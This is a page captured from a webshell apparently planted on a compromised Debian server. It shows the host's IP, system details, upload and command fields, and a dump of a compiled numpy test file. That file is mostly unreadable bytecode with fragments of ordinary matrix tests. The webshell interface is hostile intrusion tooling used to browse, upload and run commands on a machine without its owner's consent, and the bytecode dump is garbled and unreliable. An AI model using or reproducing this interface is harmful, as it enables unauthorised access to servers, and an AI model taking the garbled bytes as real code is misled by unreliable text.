403Webshell
Server IP : 46.101.140.223  /  Your IP : 216.73.217.61
Web Server : nginx/1.22.1
System : Linux debian-s-1vcpu-1gb-fra1-01 6.1.0-49-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
User : deploy-others ( 1001)
PHP Version : 8.2.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/numpy/matrixlib/tests/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/numpy/matrixlib/tests/__pycache__/test_interaction.cpython-311.pyc
�

���cc.����dZddlZddlZddlZddlZddlmZmZm	Z	m
Z
mZmZm
Z
d�Zd�Zd�Zd�Zd�Zd	�Zd
�Zd�Zd�Zd
�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Z Gd�d��Z!d�Z"d�Z#dS)z�Tests of interaction of matrix with other parts of numpy.

Note that tests with MaskedArray and linalg are done in separate files.
�N)�assert_�assert_equal�
assert_raises�assert_raises_regex�assert_array_equal�assert_almost_equal�assert_array_almost_equalc��tjddgddgg��}tt|gd�dd�ftj����tjtjd���dd����}t|dd�tjd	��f|dd�d	fj	��dS)
N����)rrr�2��
���)
�np�matrixr�
isinstance�asmatrix�arange�reshaper�array�T)�m�xs  �H/usr/lib/python3/dist-packages/numpy/matrixlib/tests/test_interaction.py�test_fancy_indexingrs���
	�	�A�q�6�A�q�6�"�#�#�A��J�q����A�A�A����	�2�2�3�3�3�	��B�I�b�M�M�)�)�!�R�0�0�1�1�A���2�A�2�r�x��|�|�#�$�a����B��i�k�2�2�2�2�2�c���ddg}ddg}tj||g��}tjj�|||��}tt
|tj����dS)Nrrrr
)rr�
polynomial�	polyutils�	mapdomainrr)�dom1�dom2r�ress    r�test_polynomial_mapdomainr'se��
�q�6�D�
�q�6�D�
�	�4��,���A�
�-�
!�
+�
+�A�t�T�
:�
:�C��J�s�B�I�&�&�'�'�'�'�'rc��tjgd�g��}tj|d���}tjgd�g��}t||��t	t|��tju��dS)N�rrr��axis�rrr)rr�sortrr�type��a�actual�expecteds   r�test_sort_matrix_noner3)sq��
�	�9�9�9�+���A�
�W�Q�T�
"�
"�
"�F��y�)�)�)��%�%�H����"�"�"��D��N�N�b�i�'�(�(�(�(�(rc��tjgd�g��}tj|dd���}tjgd�g��}t||��t	t|��tju��dS)Nr)rr*r,)rr�	partitionrrr.r/s   r�test_partition_matrix_noner62su��	�	�9�9�9�+���A�
�\�!�Q�T�
*�
*�
*�F��y�)�)�)��%�%�H����"�"�"��D��N�N�b�i�'�(�(�(�(�(rc��tjddgt���}tjddggt���}ttj|d��|��ttjd|��|��dS�Nrr��dtyper
�)rr�objectr�dot��arr�desireds  r�%test_dot_scalar_and_matrix_of_objectsrA<sp��
�)�Q��F�&�
)�
)�
)�C��i�!�Q����/�/�/�G�����Q����)�)�)�����3����)�)�)�)�)rc��tjdtjdzdzD]�}tjd|���d}tjddgdd	gg|���}tjdd
gddgg|���}t	tj||��|��t	tj||��|����dS)
N�
AllInteger�AllFloat�?r
r9�rrrr;�	�)r�	typecodesrrr�inner)�dt�scar?r@s    r�test_inner_scalar_and_matrixrMEs����l�<�(�2�<�
�+C�C�c�I�2�2���h�q��#�#�#�B�'���i�!�Q��!�Q��(��3�3�3���)�a��V�a��W�-�R�8�8�8���R�X�c�3�'�'��1�1�1��R�X�c�3�'�'��1�1�1�1�2�2rc��tjddgt���}tjddggt���}ttj|d��|��ttjd|��|��dSr8)rrr<rrJr>s  r�'test_inner_scalar_and_matrix_of_objectsrOOst��
�)�Q��F�&�
)�
)�
)�C��i�!�Q����/�/�/�G����#�q�!�!�7�+�+�+����!�S�!�!�7�+�+�+�+�+rc
���tjddgddgg��}tjd���dd��j}tj||dggdgdgddgg��}t
t|jd��tju��t
t|jd��tj	u��t|jdjd��tjd���ddd��}tttj||dggdgdgddgg��tj||dggdgdggd	�g��}t
t|jd��tj	u��t
t|jd��tju��t|jdjd
��dS)Nrrr
r�readonly�	writeonly�allocate)rr)rRrS�
no_subtype)rrr)rrrrr�nditerrr.�operands�ndarrayr�shaper�RuntimeError)r0�b�is   r�!test_iter_allocate_output_subtyper\Xs���	�	�A�q�6�A�q�6�"�#�#�A�
�	�!�����Q��"�"�$�A�
�	�1�a��,���<�*���Z�/H�I�	K�	K�A��D���A����2�9�,�-�-�-��D���A����r�z�1�2�2�2����A��$�f�-�-�-�	�	�!�����Q��1�%�%�A��,��	�A�q�$�<���<�*���Z�/H�I�K�K�K�	�	�1�a��,���<�*��:�:�:�<�	=�	=�A��D���A����2�:�-�.�.�.��D���A����r�y�0�1�1�1����A��$�i�0�0�0�0�0rc�V�tjddgddgg��}tjtjtjfD]j}||��}tt
|��tju��||d���}tt
|��tju���kdS)Nrrr
rF)�subok)rr�
zeros_like�	ones_like�
empty_likerr.)r0�
like_functionrZ�cs    rrbrbss���
�	�A�q�6�A�q�6�"�#�#�A�����b�m�C�*�*�
��M�!������Q���2�9�$�%�%�%��M�!�5�)�)�)����Q���r�y�(�)�)�)�)�*�*rc���tjgd�gd�gd���}|�ddd���}t||u��|�dd�	��}t	||��t	t|��tj��|�ddd���}t	||��t||u��tt|��tju��dS)
Nr,)r
rr�f4r9TF)r^�copy�i4)rf)rr�astyperrr.�r0rZs  r�test_array_astyperj~s���	�	�9�9�9�i�i�i�(��5�5�5�A�	����T���.�.�A��A��F�O�O�O�	
����E��"�"�A���A������a���"�)�$�$�$�	
����U���/�/�A���A������a������D��G�G�2�9�$�%�%�%�%�%rc��tjddgddgg��}ttdtj||g��dS)Nrrr
rzshape too large to be a matrix)rrr�
ValueError�stack)rs r�
test_stackrn�sL��	�	�A�q�6�A�q�6�"�#�#�A��
�$D���1�a�&�*�*�*�*�*rc��tjddgt���}tjddggt���}ttj|d��|��ttjd|��|��dSr8)rrr<r�multiplyr>s  r�test_object_scalar_multiplyrq�st��
�)�Q��F�&�
)�
)�
)�C��i�!�Q����/�/�/�G����S�!�$�$�g�.�.�.����Q��$�$�g�.�.�.�.�.rc	��tjtjd����}tjtjfD]�}||d���}tt
|tj����t|jdk��||d���}tt
|tj����t|jdk��||��}ttj|������tj	|d<tjtjfD�]�}tjd���5}tjd	��||d���}tt
|tj����ttj
tj|������tt|��dk��ddd��n#1swxYwYtjd���5}tjd	��||d���}tt
|tj����ttj|d
��o5tj|d��otj|d����tt|��dkd
��tt!|djt$����ddd��n#1swxYwYtjd���5}tjd	��||��}ttj|����t|tj	k��tt|��dk��ddd��n#1swxYwY���dS)Nr
rr*�rr
r�r
rT)�record�always)rr)rr)rrzno warning raised)rr�eye�nanmin�nanmaxrrrX�isscalar�nan�warnings�catch_warnings�simplefilter�any�isnan�len�
issubclass�category�RuntimeWarning)�mat�fr&�ws    r�test_nanfunctions_matricesr��s���
�)�B�F�1�I�I�
�
�C��i���
#�"�"���a��!�n�n�n���
�3��	�*�*�+�+�+���	�V�#�$�$�$��a��!�n�n�n���
�3��	�*�*�+�+�+���	�V�#�$�$�$��a��f�f�����C� � �!�!�!�!�
�V�C��F��i���
#�!�!��
�
$�D�
1�
1�
1�	!�Q��!�(�+�+�+��!�C�a�.�.�.�C��J�s�B�I�.�.�/�/�/����r�x��}�}�-�-�-�.�.�.��C��F�F�a�K� � � �	!�	!�	!�	!�	!�	!�	!�	!�	!�	!�	!����	!�	!�	!�	!��
$�D�
1�
1�
1�	?�Q��!�(�+�+�+��!�C�a�.�.�.�C��J�s�B�I�.�.�/�/�/��B�H�S��Y�'�'�0����T��0C�0C�,C�0��H�S��Y�/�/�/�
1�
1�
1��C��F�F�a�K�!4�5�5�5��J�q��t�}�n�=�=�>�>�>�	?�	?�	?�	?�	?�	?�	?�	?�	?�	?�	?����	?�	?�	?�	?��
$�D�
1�
1�
1�	!�Q��!�(�+�+�+��!�C�&�&�C��B�K��$�$�%�%�%��C�2�6�M�"�"�"��C��F�F�a�K� � � �	!�	!�	!�	!�	!�	!�	!�	!�	!�	!�	!����	!�	!�	!�	!��#!�!s9�BG.�.G2	�5G2	�C4L�L	�L	�.A>N8�8N<	�?N<	c�x�tjtjd����}tjtjtjtjtjtjtj	fD]�}||d���}tt|tj����t|jdk��||d���}tt|tj����t|jdk��||��}ttj
|������tjtjfD]�}||d���}tt|tj����t|jdk��||d���}tt|tj����t|jdk��||��}tt|tj����t|jdk����dS)	Nr
rr*rsrrt)r
r
)rrG)rrrw�	nanargmin�	nanargmax�nansum�nanprod�nanmean�nanvar�nanstdrrrXrz�	nancumsum�
nancumprod)r�r�r&s   r�"test_nanfunctions_matrices_generalr��s���
�)�B�F�1�I�I�
�
�C��l�B�L�"�)�R�Z��j�"�)�R�Y�0�	"�	"���a��!�n�n�n���
�3��	�*�*�+�+�+���	�V�#�$�$�$��a��!�n�n�n���
�3��	�*�*�+�+�+���	�V�#�$�$�$��a��f�f�����C� � �!�!�!�!�
�\�2�=�
(�	'�	'���a��!�n�n�n���
�3��	�*�*�+�+�+���	�V�#�$�$�$��a��!�n�n�n���
�3��	�*�*�+�+�+���	�V�#�$�$�$��a��f�f���
�3��	�*�*�+�+�+���	�X�%�&�&�&�&�	'�	'rc���tjtj�dd����}t	|�d��tj|d����tjddgddgg��}tjddgddgg��}tj|d|���}tt|��tj��t|dd	gg��dS)
Nrrrrr
r)r+�weightsg@g������
@)	rr�random�randr�mean�averagerr.)�yr0r��rs    r�test_average_matrixr��s���
�	�"�)�.�.��A�&�&�'�'�A��q�v�v�a�y�y�"�*�Q��"2�"2�3�3�3�
�	�A�q�6�A�q�6�"�#�#�A�
�	�A�q�6�A�q�6�"�#�#�A�
�
�1�1�a�(�(�(�A���a���"�)�$�$�$���c�6�]�O�$�$�$�$�$rc��tjdd��}||z}tj||��}tj|��}tj|��}tj||��}t	||��dS)Nrr)r�linspace�trapzrr)rr�r��mx�my�mrs      r�test_trapz_matrixr��sn��	��A�q���A�	�A��A�
���A���A�	��1���B�	��1���B�	��"�b�	�	�B���A�����rc�
�ttjtjd����tj��sJ�ttjtjd��d���tj��sJ�dS)Nr)�to_begin)rr�ediff1drrFrr�test_ediff1d_matrixr�sa���b�j���1���.�.��	�:�:�;�;�;��b�j���1����:�:�:�B�I�F�F�G�G�G�G�Grc��d�}tjddgddgg��}tjddgddgg��}tj|d|��}tt	|tj����t||��tj|d|��}tt	|tj����t||��dS)Nc��|dzS�NrrF)�rows r�doublez,test_apply_along_axis_matrix.<locals>.double
s���Q�w�rrrrr
rr;)rr�apply_along_axisrrr)r�rr2�results    r�test_apply_along_axis_matrixr�s������	�	�A�q�6�A�q�6�"�#�#�A��y�1�a�&�1�a�&�)�*�*�H�
�
 ���A�
.�
.�F��J�v�r�y�)�)�*�*�*��v�x�(�(�(�
�
 ���A�
.�
.�F��J�v�r�y�)�)�*�*�*��v�x�(�(�(�(�(rc�*�tjddg��}tj|��}tt	tj||����tj��tt	tj||����tj��tt	tj||����tj��tt	tj||����tj��dSr�)r�onesrrr.�kronrWr)r0rs  r�test_kron_matrixr�s���
���A����A�
��A���A���b�g�a��m�m�$�$�b�j�1�1�1���b�g�a��m�m�$�$�b�i�0�0�0���b�g�a��m�m�$�$�b�i�0�0�0���b�g�a��m�m�$�$�b�i�0�0�0�0�0rc� �eZdZd�Zd�Zd�ZdS)�TestConcatenatorMatrixc�����ddg�ddg�tjd��f}tjd��f}tt|��tj��tt|��tj��ttj|��gd�g��ttj|��dgdgdgdgg��t
t��fd���dS)	Nrrr
rr�rc)rrr
rc�.��tjd��fS)N�rc)r�r_ris��r�<lambda>z4TestConcatenatorMatrix.test_matrix.<locals>.<lambda>2s���"�%��a��
�*;�r)rr�rr.rrrrl)�self�ab_r�ab_cr0rZs   @@r�test_matrixz"TestConcatenatorMatrix.test_matrix%s�����
��F��
��F���u�S�!�Q�Y����u�S�!�Q�Y����T�$�Z�Z���+�+�+��T�$�Z�Z���+�+�+��R�X�d�^�^�l�l�l�^�4�4�4��R�X�d�^�^�q�c�A�3���a�S�%9�:�:�:��j�";�";�";�";�";�<�<�<�<�<rc���tjdddgdf}tt|��tj��ttj|��gd�g��dS)Nr�rrr
)rrr
)rr�rr.rr)r�r�s  r�test_matrix_scalarz)TestConcatenatorMatrix.test_matrix_scalar4sT���E�#��1�v�q�.�!���T�!�W�W�b�i�(�(�(��R�X�a�[�[�9�9�9�+�.�.�.�.�.rc�z�tjdg��}tjdg��}tjdg��}tjdg��}tjd}tj||g||gg��}t	||��t	t|��t|����dS)Nrrr
rz
a, b; c, d)rrr��bmatrr.)r�r0rZrc�dr1r2s       r�test_matrix_builderz*TestConcatenatorMatrix.test_matrix_builder9s����H�a�S�M�M���H�a�S�M�M���H�a�S�M�M���H�a�S�M�M����|�$���7�Q��F�Q��F�+�,�,���V�X�&�&�&��T�&�\�\�4��>�>�2�2�2�2�2rN)�__name__�
__module__�__qualname__r�r�r�rFrrr�r�#sA������
=�
=�
=�/�/�/�
	3�	3�	3�	3�	3rr�c�H�tjt��5}tt	jddg��t	jddg����ddd��n#1swxYwYt|j��}tj
d��}t||��dS)Nrrzl
    Arrays are not equal

    (shapes (2,), (1, 2) mismatch)
     x: array([1, 2])
     y: matrix([[1, 2]]))�pytest�raises�AssertionErrorrrrr�str�value�textwrap�dedent)�exc_info�msg�
msg_references   r�%test_array_equal_error_message_matrixr�Es���	��~�	&�	&�:�(��R�X�q�!�f�%�%�r�y�!�Q��'8�'8�9�9�9�:�:�:�:�:�:�:�:�:�:�:����:�:�:�:�

�h�n�
�
�C��O�%���M���m�$�$�$�$�$s�9A�A#�&A#c��tjddgg��}tjdtjgg��}tjdtjgg��}tjtjtjgg��}tjddgtjtjgg��}tt
fD]D}|||||fD]:}|||��tj|��}|||��|||���;�EdS)Ng�?g@)rrr{�infr	rr)�m1�m2�m3�m4�m5�assert_funcrr0s        r�test_array_almost_equal_matrixr�Ts	��
��R��H�:�	�	�B�	��R���L�>�	"�	"�B�	��R�"�&��M�?�	#�	#�B�	��R�V�R�V�$�%�	&�	&�B�	��R��H�r�v�r�v�.�/�	0�	0�B�0�2E�E�����R��R��#�	�	�A��K��1���������A��K��1�����K��1�����		��r)$�__doc__r�r�r|�numpyr�
numpy.testingrrrrrrr	rr'r3r6rArMrOr\rbrjrnrqr�r�r�r�r�r�r�r�r�r�rFrr�<module>r�s�����
�
�
�������������K�K�K�K�K�K�K�K�K�K�K�K�K�K�K�K�K�K�
3�3�3�(�(�(�)�)�)�)�)�)�*�*�*�2�2�2�,�,�,�1�1�1�6*�*�*�&�&�&�&*�*�*�/�/�/�&!�&!�&!�R'�'�'�8
%�
%�
%�	�	�	�H�H�H�)�)�)�&1�1�1�3�3�3�3�3�3�3�3�D%�%�%�����r

Youez - 2016 - github.com/yon3zu
LinuXploit